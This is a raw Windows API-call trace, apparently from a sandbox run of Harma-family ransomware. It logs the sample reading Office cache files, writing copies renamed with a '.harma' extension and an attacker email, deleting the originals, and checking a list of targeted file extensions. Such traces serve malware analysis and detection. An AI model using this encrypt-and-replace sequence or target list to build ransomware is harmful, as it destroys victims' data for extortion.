[0039.953] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.953] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.079] GetLastError () returned 0x0 [0040.079] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x978, lpOverlapped=0x0) returned 1 [0040.081] WriteFile (in: hFile=0x180, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x980, lpOverlapped=0x0) returned 1 [0040.082] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.082] WriteFile (in: hFile=0x180, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.082] SetEndOfFile (hFile=0x180) returned 1 [0040.082] CloseHandle (hObject=0x180) returned 1 [0040.084] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.084] SetEndOfFile (hFile=0x170) returned 1 [0040.085] CloseHandle (hObject=0x170) returned 1 [0040.085] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.085] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.086] lstrlenW (lpString=".doc") returned 4 [0040.086] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString=".docx") returned 5 [0040.086] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.086] lstrlenW (lpString=".pdf") returned 4 [0040.086] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString=".xls") returned 4 [0040.086] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString=".xlsx") returned 5 [0040.086] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.086] lstrlenW (lpString=".ppt") returned 4 [0040.086] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.086] lstrlenW (lpString=".zip") returned 4 [0040.086] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.086] lstrlenW (lpString=".rar") returned 4 [0040.086] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString=".bz2") returned 4 [0040.086] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString=".7z") returned 3 [0040.086] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.086] lstrlenW (lpString=".dbf") returned 4 [0040.086] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.086] lstrlenW (lpString=".1cd") returned 4 [0040.086] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.086] lstrlenW (lpString=".jpg") returned 4 [0040.086] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.087] lstrlenW (lpString=".doc") returned 4 [0040.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.087] lstrlenW (lpString=".docx") returned 5 [0040.087] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.087] lstrlenW (lpString=".pdf") returned 4 [0040.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.087] lstrlenW (lpString=".xls") returned 4 [0040.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.087] lstrlenW (lpString=".xlsx") returned 5 [0040.087] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.087] lstrlenW (lpString=".ppt") returned 4 [0040.087] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.087] lstrlenW (lpString=".zip") returned 4 [0040.087] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.087] lstrlenW (lpString=".rar") returned 4 [0040.087] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.087] lstrlenW (lpString=".bz2") returned 4 [0040.087] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.087] lstrlenW (lpString=".7z") returned 3 [0040.087] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.087] lstrlenW (lpString=".dbf") returned 4 [0040.087] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.088] lstrlenW (lpString=".1cd") returned 4 [0040.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.088] lstrlenW (lpString=".jpg") returned 4 [0040.088] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.088] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.088] lstrlenW (lpString="Proof.xml") returned 9 [0040.088] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.089] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1347) returned 1 [0040.089] CloseHandle (hObject=0x170) returned 1 [0040.089] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0040.089] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.089] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.089] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.089] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.089] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.090] GetLastError () returned 0x0 [0040.090] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x543, lpOverlapped=0x0) returned 1 [0040.091] WriteFile (in: hFile=0x180, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x550, lpOverlapped=0x0) returned 1 [0040.092] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.092] WriteFile (in: hFile=0x180, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.092] SetEndOfFile (hFile=0x180) returned 1 [0040.092] CloseHandle (hObject=0x180) returned 1 [0040.093] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.093] SetEndOfFile (hFile=0x170) returned 1 [0040.094] CloseHandle (hObject=0x170) returned 1 [0040.094] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.094] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0040.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.095] lstrlenW (lpString=".doc") returned 4 [0040.095] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString=".docx") returned 5 [0040.095] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0040.095] lstrlenW (lpString=".pdf") returned 4 [0040.095] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString=".xls") returned 4 [0040.095] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString=".xlsx") returned 5 [0040.095] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0040.095] lstrlenW (lpString=".ppt") returned 4 [0040.095] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.095] lstrlenW (lpString=".zip") returned 4 [0040.095] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.095] lstrlenW (lpString=".rar") returned 4 [0040.095] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString=".bz2") returned 4 [0040.095] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString=".7z") returned 3 [0040.095] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.095] lstrlenW (lpString=".dbf") returned 4 [0040.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.095] lstrlenW (lpString=".1cd") returned 4 [0040.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.095] lstrlenW (lpString=".jpg") returned 4 [0040.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.096] lstrlenW (lpString=".doc") returned 4 [0040.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString=".docx") returned 5 [0040.096] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0040.096] lstrlenW (lpString=".pdf") returned 4 [0040.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString=".xls") returned 4 [0040.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString=".xlsx") returned 5 [0040.096] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0040.096] lstrlenW (lpString=".ppt") returned 4 [0040.096] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.096] lstrlenW (lpString=".zip") returned 4 [0040.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.096] lstrlenW (lpString=".rar") returned 4 [0040.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString=".bz2") returned 4 [0040.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString=".7z") returned 3 [0040.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.096] lstrlenW (lpString=".dbf") returned 4 [0040.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.096] lstrlenW (lpString=".1cd") returned 4 [0040.096] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0040.096] lstrlenW (lpString=".jpg") returned 4 [0040.096] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.097] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.097] lstrlenW (lpString="Proof.xml") returned 9 [0040.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.097] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1457) returned 1 [0040.097] CloseHandle (hObject=0x170) returned 1 [0040.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0040.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.097] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.097] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.098] GetLastError () returned 0x0 [0040.098] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0040.099] WriteFile (in: hFile=0x180, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0040.100] ReadFile (in: hFile=0x170, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.100] WriteFile (in: hFile=0x180, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.100] SetEndOfFile (hFile=0x180) returned 1 [0040.101] CloseHandle (hObject=0x180) returned 1 [0040.101] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.101] SetEndOfFile (hFile=0x170) returned 1 [0040.102] CloseHandle (hObject=0x170) returned 1 [0040.102] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.102] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0040.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.103] lstrlenW (lpString=".doc") returned 4 [0040.198] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.198] lstrlenW (lpString=".docx") returned 5 [0040.198] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0040.198] lstrlenW (lpString=".pdf") returned 4 [0040.198] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.198] lstrlenW (lpString=".xls") returned 4 [0040.198] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.198] lstrlenW (lpString=".xlsx") returned 5 [0040.198] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0040.198] lstrlenW (lpString=".ppt") returned 4 [0040.198] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.198] lstrlenW (lpString=".zip") returned 4 [0040.199] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.199] lstrlenW (lpString=".rar") returned 4 [0040.199] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString=".bz2") returned 4 [0040.199] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString=".7z") returned 3 [0040.199] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.199] lstrlenW (lpString=".dbf") returned 4 [0040.199] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.199] lstrlenW (lpString=".1cd") returned 4 [0040.199] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.199] lstrlenW (lpString=".jpg") returned 4 [0040.199] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.199] lstrlenW (lpString=".doc") returned 4 [0040.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString=".docx") returned 5 [0040.199] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0040.199] lstrlenW (lpString=".pdf") returned 4 [0040.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString=".xls") returned 4 [0040.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.199] lstrlenW (lpString=".xlsx") returned 5 [0040.199] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0040.199] lstrlenW (lpString=".ppt") returned 4 [0040.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.200] lstrlenW (lpString=".zip") returned 4 [0040.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.200] lstrlenW (lpString=".rar") returned 4 [0040.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.200] lstrlenW (lpString=".bz2") returned 4 [0040.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.200] lstrlenW (lpString=".7z") returned 3 [0040.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.200] lstrlenW (lpString=".dbf") returned 4 [0040.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.200] lstrlenW (lpString=".1cd") returned 4 [0040.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0040.200] lstrlenW (lpString=".jpg") returned 4 [0040.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.200] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.200] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0040.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.201] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1231) returned 1 [0040.201] CloseHandle (hObject=0x174) returned 1 [0040.201] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0040.201] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all 